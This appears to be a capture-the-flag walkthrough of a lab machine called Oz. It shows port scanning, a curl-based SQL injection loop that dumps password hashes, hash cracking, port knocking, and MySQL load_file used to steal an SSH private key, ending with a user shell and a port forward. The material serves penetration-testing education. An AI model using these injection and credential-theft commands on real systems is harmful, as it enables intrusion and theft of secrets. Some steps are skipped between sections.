As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 10 13:10:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Wed May 10 13:10:51 2023 -- 1 IP address (1 host up) scanned in 26.58 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed May 10 13:11:13 2023 as: nmap -sCV -p80,8080 -Pn -n -oN targeted 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 10 13:11:25 2023 -- 1 IP address (1 host up) scanned in 11.87 seconds
There is an API on port 80.
curl http://10.10.10.96/
<title>OZ webapi</title>
<h3>Please register a username!</h3>
With wfuzz, we could see that there is a directory called users.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000188: 200 3 L 6 W 79 Ch "users"
...
Inside the users directory, we'll see the admin directory available. We'll also see that the ' character gives a 500 response.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/users/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000245: 200 1 L 1 W 21 Ch "admin"
000002010: 500 4 L 40 W 291 Ch "'"
The /admin directory shows the username admin.
curl -s "http://10.10.10.96/users/admin" | jq
{
"username": "admin"
}
The ' character breaks the server.
curl "http://10.10.10.96/users/'"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Exploitation
With a simple SQL injection payload, we are able to get another user.
for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done
Let's try to break these hashes. Put them into the hashes file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256. But it is very slow.
john -w=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.01% (ETA: 23:24:54) 0g/s 834.7p/s 5078c/s 5078C/s clover..athena
...
Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.
The .secret directory has a file called knockd.conf.
ls -la /.secret
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
This file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 09:00 GMT
Nmap scan report for 10.10.10.96
Host is up (0.039s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
The containers directory has another folder inside called database.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"
Database
information_schema
mysql
ozdb
performance_schema
The credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi, which might have some SSH keys.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"
Now that we have an SSH private key for dorthi, let's log into the machine. Enter the dorthi password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa
Enter passphrase for key 'id_rsa': N0Pl4c3L1keH0me
dorthi@oz:~$ whoami
dorthi
dorthi@oz:~$ hostname
oz
dorthi@oz:~$ cat user.txt
18e88d03f2d172494abf06eed56d07fe
If we check the sudo privileges, we'll see that we can list and inspect docker networks.
sudo -l
Matching Defaults entries for dorthi on oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls
There a are a few networks configured.
sudo docker network ls
NETWORK ID NAME DRIVER SCOPE
3fc824b7c586 bridge bridge local
49c1b0c16723 host host local
3ccc2aa17acf none null local
48148eb6a512 prodnet bridge local
The bridge network has one container with the IP address 172.17.0.2 hosting a portainer-1.11.1 server.
The server has nmap. Let's use it to scan the ports of the portainer server.
nmap -p- --min-rate 5000 -n -Pn 172.17.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2023-05-11 04:26 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
9000/tcp open cslistener
Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds
Now do port forwarding of that port.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000